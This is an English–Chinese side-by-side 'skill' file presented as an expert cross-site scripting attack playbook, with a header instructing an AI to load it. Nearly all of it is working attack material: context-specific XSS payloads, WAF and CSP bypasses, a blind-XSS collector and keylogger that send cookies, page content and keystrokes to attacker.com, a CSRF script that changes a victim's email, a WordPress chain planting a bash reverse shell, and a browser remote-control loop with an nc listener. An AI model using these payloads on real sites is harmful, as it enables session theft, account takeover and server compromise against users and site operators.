xss-cross-site-scripting

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook

SKILL: 跨站脚本(XSS)—— 专家攻击手册

AI LOAD INSTRUCTION: This skill covers non-obvious XSS techniques, context-specific payload selection, WAF bypass, CSP bypass, and post-exploitation. Assume the reader already knows
<script>alert(1)</script>
— this file only covers what base models typically miss. For real-world CVE cases, HttpOnly bypass strategies, XS-Leaks side channels, and session fixation attacks, load the companion SCENARIOS.md.
AI加载说明: 本技能涵盖非通用XSS技巧、上下文专属Payload选择、WAF绕过、CSP绕过以及漏洞利用后操作。假设读者已经了解
<script>alert(1)</script>
的基础用法——本文仅覆盖基础大模型通常遗漏的内容。如需获取真实世界CVE案例、HttpOnly绕过策略、XS-Leaks侧信道攻击以及会话固定攻击内容,请加载配套的SCENARIOS.md

0. RELATED ROUTING

0. 关联技能跳转

Extended Scenarios

扩展场景

Also load SCENARIOS.md when you need:
  • Django debug page XSS (CVE-2017-12794) — duplicate key error → unescaped exception → XSS
  • UTF-7 XSS for legacy IE environments (
    +ADw-script+AD4-
    )
  • HttpOnly bypass methodology — proxy-the-browser, session riding, CSRF-via-XSS
  • XS-Leaks side channel attacks — timing oracle, cache probing,
    performance.now()
    measurement
  • Session fixation via XSS — pre-set session ID before victim login
  • DOM clobbering techniques for CSP-restricted environments
Before broad payload spraying, you can first load:
  • upload insecure files when you need the full upload path: validation, storage, preview, and sharing behavior
当你需要以下内容时也可加载SCENARIOS.md:
  • Django调试页面XSS(CVE-2017-12794)—— 重复键错误 → 未转义的异常信息 → XSS
  • 适配旧版IE环境的UTF-7 XSS (
    +ADw-script+AD4-
    )
  • HttpOnly绕过方法论——浏览器代理、会话 riding、CSRF-via-XSS
  • XS-Leaks侧信道攻击——时间预言机、缓存探测、
    performance.now()
    测量
  • 基于XSS的会话固定——在受害者登录前预设会话ID
  • 适配CSP受限环境的DOM clobbering技巧
在大规模Payload喷洒之前,你可以先加载:
  • 不安全文件上传 以获取完整上传链路逻辑:校验、存储、预览和分享行为

Quick context picks

快速上下文选择

ContextFirst PickBackup
HTML body
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
Quoted attribute
" autofocus onfocus=alert(1)//
" onmouseover=alert(1)//
JavaScript string
'-alert(1)-'
'</script><svg onload=alert(1)>
URL / href sink
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
Tag body like
title
</title><svg onload=alert(1)>
</textarea><svg onload=alert(1)>
SVG / XML sink
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
XHTML namespace payload
html
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

上下文首选Payload备用Payload
HTML body
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
带引号的属性
" autofocus onfocus=alert(1)//
" onmouseover=alert(1)//
JavaScript字符串
'-alert(1)-'
'</script><svg onload=alert(1)>
URL / href sink
javascript:alert(1)
data:text/html,<svg onload=alert(1)>
类似
title
的标签体
</title><svg onload=alert(1)>
</textarea><svg onload=alert(1)>
SVG / XML sink
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
XHTML命名空间Payload
html
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

1. INJECTION CONTEXT MATRIX

1. 注入上下文矩阵

Identify context before picking a payload. Wrong context = wasted attempts.
ContextIndicatorOpenerPayload
HTML outside tag
<b>INPUT</b>
<svg onload=
<svg onload=alert(1)>
HTML attribute value
value="INPUT"
"
close attr
"onmouseover=alert(1)//
Inline attr, no tag closeQuoted,
>
stripped
Event injection
"autofocus onfocus=alert(1)//
Block tag (title/script/textarea)
<title>INPUT</title>
Close tag first
</title><svg onload=alert(1)>
href / src / data / actionlink or formProtocol
javascript:alert(1)
JS string (single quote)
var x='INPUT'
Break string
'-alert(1)-'
or
'-alert(1)//
JS string with escapeBackslash escapingDouble escape
\'-alert(1)//
JS logical blockInside if/functionClose + inject
'}alert(1);{'
JS anywhere on page
<script>...INPUT
Break script
</script><svg onload=alert(1)>
XML page (
text/xml
)
XML content-typeXML namespace
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

选择Payload前识别上下文。上下文匹配错误 = 无效尝试。
上下文特征标识注入开头Payload
标签外的HTML内容
<b>INPUT</b>
<svg onload=
<svg onload=alert(1)>
HTML属性值
value="INPUT"
"
闭合属性
"onmouseover=alert(1)//
内联属性,无标签闭合带引号,
>
被过滤
事件注入
"autofocus onfocus=alert(1)//
块级标签(title/script/textarea)
<title>INPUT</title>
先闭合标签
</title><svg onload=alert(1)>
href / src / data / action链接或表单协议头
javascript:alert(1)
JS字符串(单引号)
var x='INPUT'
打断字符串
'-alert(1)-'
'-alert(1)//
带转义的JS字符串反斜杠转义双重转义
\'-alert(1)//
JS逻辑块if/function内部闭合+注入
'}alert(1);{'
页面任意JS位置
<script>...INPUT
打断脚本
</script><svg onload=alert(1)>
XML页面(
text/xml
XML content-typeXML命名空间
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

2. MULTI-REFLECTION ATTACKS

2. 多反射点攻击

When input reflects in multiple places on the same page — single payload triggers from all points:
html
<!-- Double reflection -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

<!-- Triple reflection -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

<!-- Two separate inputs (p= and q=) -->
p=<svg/1='&q='onload=alert(1)>

当输入在同一页面的多个位置反射时——单个Payload可在所有位置触发:
html
<!-- 双反射点 -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

<!-- 三反射点 -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

<!-- 两个独立输入(p= 和 q=) -->
p=<svg/1='&q='onload=alert(1)>

3. ADVANCED INJECTION VECTORS

3. 高级注入向量

DOM Insert Injection (when reflection is in DOM not source)

DOM插入注入(反射出现在DOM而非源码中)

Input inserted via
.innerHTML
,
document.write
, jQuery
.html()
:
html
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
For URL-controlled resource insertion:
html
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
输入通过
.innerHTML
document.write
、jQuery
.html()
插入:
html
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
针对URL可控的资源插入场景:
html
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

PHP_SELF Path Injection

PHP_SELF路径注入

When URL itself is reflected in form
action
:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
Inject between
.php
and
?
, using leading
/
.
当URL本身反射在表单
action
中时:
https://target.com/page.php/"><svg onload=alert(1)>?param=val
.php
?
之间注入,使用前置
/

File Upload XSS

文件上传XSS

Filename injection (when filename is reflected):
"><svg onload=alert(1)>.gif
SVG upload (stored XSS via image upload accepting SVG):
xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
Metadata injection (when EXIF is reflected):
bash
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg
文件名注入(当文件名会被反射时):
"><svg onload=alert(1)>.gif
SVG上传(接受SVG的图片上传场景导致的存储型XSS):
xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
元数据注入(当EXIF会被反射时):
bash
exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg

postMessage XSS (no origin check)

postMessage XSS(无来源校验)

When page has
window.addEventListener('message', ...)
without origin validation:
html
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">
当页面存在
window.addEventListener('message', ...)
但未做来源校验时:
html
<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">

postMessage Origin Bypass

postMessage来源绕过

When origin IS checked but uses
.includes()
or prefix match:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
Attacker controls
facebook.com.ATTACKER.com
subdomain.
当存在来源校验但使用
.includes()
或前缀匹配时:
http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>
攻击者可控
facebook.com.ATTACKER.com
子域名。

XML-Based XSS

基于XML的XSS

Response has
text/xml
or
application/xml
:
html
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>
响应为
text/xml
application/xml
类型:
html
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>

Script Injection Without Closing Tag

无需闭合标签的脚本注入

When there IS a
</script>
tag later in the page:
html
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>

当页面后续存在
</script>
标签时:
html
<script src=data:,alert(1)>
<script src=//attacker.com/1.js>

4. CSP BYPASS TECHNIQUES

4. CSP绕过技巧

JSONP Endpoint Bypass (allow-listed domain has JSONP)

JSONP端点绕过(白名单域名存在JSONP接口)

html
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>
html
<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>

AngularJS CDN Bypass (allow-listed
ajax.googleapis.com
)

AngularJS CDN绕过(
ajax.googleapis.com
在白名单中)

html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>
html
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>

Angular Expressions (server encodes HTML but AngularJS evaluates)

Angular表达式(服务端编码HTML但AngularJS会执行表达式)

When
{{1+1}}
evaluates to
2
on page — classic CSTI indicator:
javascript
// Angular 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
{{1+1}}
在页面中计算为
2
时——典型CSTI特征:
javascript
// Angular 1.x沙箱逃逸:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

base-uri Injection (CSP without base-uri restriction)

base-uri注入(CSP无base-uri限制)

html
<base href="https://attacker.com/">
Relative
<script src=...>
loads from attacker's server.
html
<base href="https://attacker.com/">
相对路径的
<script src=...>
会从攻击者服务器加载资源。

DOM-based via Dangling Markup

基于悬挂标记的DOM型绕过

When CSP blocks script but allows
img
:
html
<img src='https://attacker.com/log?
Leaks subsequent page content to attacker.

当CSP拦截脚本但允许
img
时:
html
<img src='https://attacker.com/log?
将后续页面内容泄露给攻击者。

5. FILTER AND WAF BYPASS

5. 过滤器与WAF绕过

Parameter Name Attack (WAF checks value not name)

参数名攻击(WAF仅校验参数值不校验参数名)

When parameter names are reflected (e.g., in JSON output):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
Payload is the parameter name, not value.
当参数名会被反射时(例如JSON输出中):
?"></script><base%20c%3D=href%3Dhttps:\mysite>
Payload是参数名而非参数值。

Encoding Chains

编码链

%253C  → double-encoded <
%26lt; → HTML entity double-encoding
<%00h2 → null byte injection
%0d%0a → CRLF inside tag
Test sequence: reflect → encoding behavior → identify filter logic → mutate.
%253C  → 双重编码的 <
%26lt; → HTML实体双重编码
<%00h2 → 空字节注入
%0d%0a → 标签内的CRLF
测试流程:反射校验 → 编码行为识别 → 过滤器逻辑定位 → Payload变异。

Tag Mutation (blacklist bypass)

标签变异(黑名单绕过)

html
<ScRipt>  ← case variation
</script/x>  ← trailing garbage
<script   incomplete (relies on later >)
<%00iframe  ← null byte
<svg/onload=  ← slash instead of space
html
<ScRipt>  ← 大小写变化
</script/x>  ← 尾部冗余字符
<script   不完整标签(依赖后续的>闭合)
<%00iframe  ← 空字节
<svg/onload=  ← 斜杠代替空格

Fragmented Injection (strip-tags bypass)

碎片化注入(strip-tags绕过)

Filter strips
<x>...</x>
:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
过滤器会删除
<x>...</x>
:
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//

Vectors Without Event Handlers

无事件处理器向量

html
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<math><brute href=javascript:alert(1)>click

html
<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<math><brute href=javascript:alert(1)>click

6. SECOND-ORDER XSS

6. 二阶XSS

Definition: Input is stored (often normalized/HTML-encoded), then later retrieved and inserted into DOM without re-encoding.
Classic trigger payload (bypasses immediate HTML encoding):
&lt;svg/onload&equals;alert(1)&gt;
Check: profile fields, display names, forum posts — anywhere data is stored, then re-rendered in a different context (e.g., admin panel vs user-facing).
Stored → Admin context XSS: most impactful — sign up with crafted username, wait for admin to view user list.

定义: 输入被存储(通常会被标准化/HTML编码),后续被取出插入DOM时未重新编码。
经典触发Payload(绕过即时HTML编码):
&lt;svg/onload&equals;alert(1)&gt;
检查点:个人资料字段、显示名、论坛帖子——任何数据被存储后,会在不同上下文(例如管理面板 vs 用户端页面)重新渲染的位置。
存储型 → 管理员上下文XSS: 危害最高——使用构造的用户名注册,等待管理员查看用户列表即可触发。

7. BLIND XSS METHODOLOGY

7. 盲XSS方法论

Every parameter that is not immediately reflected should be tested for blind XSS:
  • Contact forms, feedback fields
  • User-agent / referer
  • Registration fields
  • Error log injections
Blind XSS callback payload (remote JS file approach):
html
"><script src=//attacker.com/bxss.js></script>
Minimal collector (hosted at
bxss.js
):
javascript
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
Use XSS Hunter or similar blind XSS platform for automated collection.

每个不会即时反射的参数都应该测试盲XSS:
  • 联系表单、反馈字段
  • User-agent / referer
  • 注册字段
  • 错误日志注入
盲XSS回调Payload(远程JS文件方案):
html
"><script src=//attacker.com/bxss.js></script>
极简收集脚本(部署在
bxss.js
):
javascript
var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));
使用XSS Hunter或同类盲XSS平台实现自动化收集。

8. XSS EXPLOITATION CHAIN

8. XSS利用链

Cookie Steal

Cookie窃取

javascript
fetch('//attacker.com/?c='+document.cookie)
// HttpOnly protected cookies → not stealable via JS, need CSRF or session fixation instead
javascript
fetch('//attacker.com/?c='+document.cookie)
// 受HttpOnly保护的Cookie → 无法通过JS窃取,需改用CSRF或会话固定

Keylogger

键盘记录器

javascript
document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}
javascript
document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}

CSRF via XSS (bypasses CSRF protection, reads CSRF token from DOM)

基于XSS的CSRF(绕过CSRF防护,从DOM读取CSRF token)

javascript
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);
javascript
var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);

WordPress XSS → RCE (admin session + Hello Dolly plugin):

WordPress XSS → RCE(管理员会话 + Hello Dolly插件):

javascript
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }
javascript
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }

Browser Remote Control (JS command shell)

浏览器远程控制(JS命令shell)

javascript
// Injected into victim:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
bash
undefined
javascript
// 注入到受害者端:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
bash
undefined

Attacker listener:

攻击者端监听:

while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

---
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

---

9. DECISION TREE

9. 决策树

Test XSS entry point
├── Input reflected in response?
│   ├── YES → Identify context (HTML / JS / attr / URL)
│   │         → Select context-appropriate payload
│   │         → If blocked → check filter behavior
│   │         │   → Try encoding, case mutation, fragmentation
│   │         │   → Check if parameter NAME is reflected (WAF gap)
│   │         └── Success → escalate (cookie steal / CSRF / RCE)
│   └── NO  → Is it stored? → Inject blind XSS payload
│             Is it in DOM? → Check JS source for unsafe sinks
│                             (innerHTML, eval, document.write, location.href)
└── CSP present?
    ├── Check for JSONP endpoints on allow-listed domains
    ├── Check for AngularJS on CDN allow-list
    ├── Check for base-uri missing → <base> injection
    └── Check for unsafe-eval or unsafe-inline exceptions

测试XSS入口点
├── 输入在响应中反射?
│   ├── 是 → 识别上下文(HTML / JS / 属性 / URL)
│   │         → 选择适配上下文的Payload
│   │         → 若被拦截 → 检查过滤器行为
│   │         │   → 尝试编码、大小写变异、碎片化
│   │         │   → 检查参数名是否会被反射(WAF漏洞)
│   │         └── 成功 → 升级利用(Cookie窃取 / CSRF / RCE)
│   └── 否  → 是否会被存储? → 注入盲XSS Payload
│             是否在DOM中? → 检查JS源码中的不安全sink
│                             (innerHTML, eval, document.write, location.href)
└── 存在CSP?
    ├── 检查白名单域名上的JSONP端点
    ├── 检查CDN白名单中是否存在AngularJS
    ├── 检查是否缺失base-uri限制 → <base>注入
    └── 检查是否存在unsafe-eval或unsafe-inline例外

10. XSS TESTING PROCESS (ZSEANO METHOD)

10. XSS测试流程(ZSEANO方法)

  1. Step 1 — Test non-malicious tags:
    <h2>
    ,
    <img>
    ,
    <table>
    — are they reflected raw?
  2. Step 2 — Test incomplete tags:
    <iframe src=//attacker.com/c=
    (no closing
    >
    )
  3. Step 3 — Encoding probes:
    <%00h2
    ,
    %0d
    ,
    %0a
    ,
    %09
    ,
    %253C
  4. Step 4 — If filtering
    <script>
    and
    onerror
    but NOT
    <script 
    (without close):
    <script src=//attacker.com?c=
  5. Step 5 — Blacklist check: does
    <svg>
    work? Does
    <ScRiPt>
    work?
  6. Note: the same filter likely exists elsewhere — if they filter
    <script>
    in search, do they filter it in file upload filename? In profile bio?
Key insight: Filter presence = vulnerability exists, developer tried to patch. Chase that thread across the entire application.
  1. 步骤1 — 测试非恶意标签:
    <h2>
    ,
    <img>
    ,
    <table>
    — 它们是否原样反射?
  2. 步骤2 — 测试不完整标签:
    <iframe src=//attacker.com/c=
    (无闭合
    >
  3. 步骤3 — 编码探测:
    <%00h2
    ,
    %0d
    ,
    %0a
    ,
    %09
    ,
    %253C
  4. 步骤4 — 如果过滤
    <script>
    onerror
    但未过滤
    <script 
    (无闭合):
    <script src=//attacker.com?c=
  5. 步骤5 — 黑名单检查:
    <svg>
    是否可用?
    <ScRiPt>
    是否可用?
  6. 注意: 相同的过滤器大概率在其他位置也存在 — 如果他们在搜索框过滤了
    <script>
    , 会不会在文件上传文件名、个人简介中也过滤?
核心洞察: 过滤器存在 = 漏洞存在,开发者尝试过修补。可以在整个应用中顺着这个逻辑挖掘其他漏洞。